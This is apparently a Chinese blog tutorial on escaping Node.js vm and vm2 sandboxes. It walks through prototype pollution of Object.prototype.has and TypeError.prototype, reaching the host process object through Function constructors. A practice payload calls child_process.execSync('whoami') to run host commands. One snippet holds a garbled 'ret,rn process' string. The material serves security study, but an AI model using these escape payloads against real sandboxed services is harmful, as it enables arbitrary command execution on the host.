【vm沙箱逃逸】

一、什么是沙箱


二、使用方式



我们想在沙箱里运行代码会报错

主要是因为这个是主环境里的原型,沙箱里没有这个对象

通俗来说this是外部传入的,通过this来获取外部环境的原型来获取到process


三、vm2


目前的逃逸已经有很多方法了

我们就用其中一个例子来分析


in操作符的查找机制

当执行 "" in proxy;时,JavaScript 引擎会检查字符串 ""是否是 proxy对象的一个属性(或其原型链上的属性)。这个过程在代理对象中的逻辑如下:

首先,引擎会查看创建 proxy时传入的 handler对象是否定义了 has陷阱。代码中handler只定义了 get陷阱,没有定义 has陷阱。

由于没有 has陷阱进行拦截,引擎会转向默认行为,即对 proxy所代理的目标对象 target(这里是 {})执行默认的 \[HasProperty]内部操作。

默认的 \[HasProperty]与原型链

\[HasProperty]是一个内部操作,它的核心功能就是:判断一个对象(或其原型链上)是否拥有指定的属性。

当使用 in操作符(例如 "name" in obj)时,JavaScript 引擎在底层调用的就是这个 HasProperty内部方法,其中 P就是属性名 "name"。

对于普通对象 target(即 {}),in操作符(或内部的 \[HasProperty])会沿着该对象的原型链向上查找属性。

target本身是空对象,没有 has方法。

接着,查找 target的原型,即 Object.getPrototypeOf(target),它指向 Object.prototype。

在代码中,通过 Object.prototype.has = function() { ... }在 Object.prototype上直接添加了一个 has方法。

因此,当查找 has属性时,就在 Object.prototype上找到了它,于是执行了这个方法,打印出了 "has"。

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

"return process" 是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

复制代码
"use strict";

作用:启用 JavaScript 的严格模式,使代码在更严格的规则下运行。

在逃逸中的作用:确保代码行为可预测,避免某些静默错误干扰攻击流程。

复制代码
var process;

作用:在沙箱内部声明一个 process变量(此时为 undefined)。

策略:为后续存储外部真正的 process对象预留变量名。沙箱通常会阻止直接访问 Node.js 的全局 process对象,因此需要间接获取。

核心攻击代码:

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

代码中的 "ret,rn process"应该是 "return process"的笔误/混淆。实际效果是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

触发机制:

复制代码
"" in Buffer.from;

in操作符的工作流程:

执行 "" in Buffer.from时,检查 Buffer.from是否包含空字符串属性。

由于 Buffer.from是 Proxy,且 handler没有 has陷阱,引擎执行默认行为。

默认行为:对 Buffer.from的目标对象(外部真正的 Buffer.from函数)调用 [[HasProperty]]("")

原型链查找触发污染方法:

在查找属性过程中,引擎会沿着外部 Buffer.from的原型链查找。

外部 Buffer.from的原型链:Buffer.from→ Function.prototype→ Object.prototype。

由于 Object.prototype.has已被污染,在某些 JavaScript 引擎的实现中,属性检查可能会调用 has方法。

最关键的是:当 has方法被调用时,它的 this上下文或参数 t会是外部的 Buffer.from函数。


四、练习

复制代码
(function(){
    // 1. 污染 TypeError 的原型链
    TypeError.prototype.get_process = f => f.constructor("return process")();
    
    try {
        // 2. 故意触发一个 TypeError 异常
        Object.preventExtensions(Buffer.from("")) = a = 1;
    } catch(e) {
        // 3. 利用捕获的异常对象执行逃逸
        return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

原型链污染

复制代码
TypeError.prototype.get_process = f => f.constructor("return process")();

目标:污染 TypeError.prototype,为所有 TypeError实例添加 get_process方法。

方法原理:get_process方法接收一个函数 f,通过 f.constructor获取 Function构造函数,然后动态创建一个返回 process对象的函数并立即执行。

为什么有效:f.constructor总是返回 Function构造函数(除非 f的原型链被修改),而 Function构造函数在创建函数时默认使用当前执行上下文的全局对象。

故意触发异常

复制代码
Object.preventExtensions(Buffer.from("")) = a = 1;

Object.preventExtensions()使对象不可扩展(不能添加新属性)。

对 Buffer.from("")的结果调用此方法后,尝试给返回值赋值 a = 1。

关键错误:在严格模式下,给不可写的属性或不可扩展的对象赋值会抛出 TypeError异常。

利用异常对象逃逸

复制代码
catch(e) {
    return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}

捕获异常:e是 TypeError实例,因为前面污染了原型,所以它有 get_process方法。

获取 process:e.get_process(() => {})执行时:

(() => {})是一个箭头函数,它的 constructor指向 Function

f.constructor("return process")()在外部全局上下文中执行,返回外部真正的 process对象

执行命令:通过获取的 process对象执行 whoami命令。


相关推荐
不好听61338 分钟前
Prompt 驱动 NLP:用大语言模型重新定义自然语言处理开发范式
设计模式·node.js·nlp
触底反弹39 分钟前
大模型时代:5 个 Prompt 替代 BERT 训练,搞定 NLP 五大任务
人工智能·node.js·api
甜味弥漫3 小时前
React 快速入门:从 JSX 到列表渲染
react.js·前端框架·node.js
用户938515635079 小时前
从模块化到 Prompt 工程:我用 Node.js + LLM 复刻了传统 NLP 的流程
javascript·人工智能·node.js
妖孽白YoonA10 小时前
xlt-token v1.0.0 正式发布:NestJS / Express 一包接入的 Token 鉴权库
后端·node.js·nestjs
码农阿豪1 天前
Node.js 连金仓数据库(下篇):连接池、事务和那些坑
数据库·node.js
晓杰'1 天前
从0到1实现Balatro游戏后端(7):Boss Blind与特殊规则实现
后端·websocket·typescript·node.js·游戏开发·项目实战·nestjs
右耳朵猫AI1 天前
Node.js周刊2026W21 | Node.js 26.2.0、Bun v1.3.14、Rolldown 1.0、TypeORM 1.0
node.js
wgc2k1 天前
Node.js游戏服务器项目移植 5-唯一 ID 生成方案
游戏·node.js
x***r1511 天前
Node.js v0.12.2 安装教程(Windows x86版 node-v0.12.2-x86.msi 详细步骤)
windows·node.js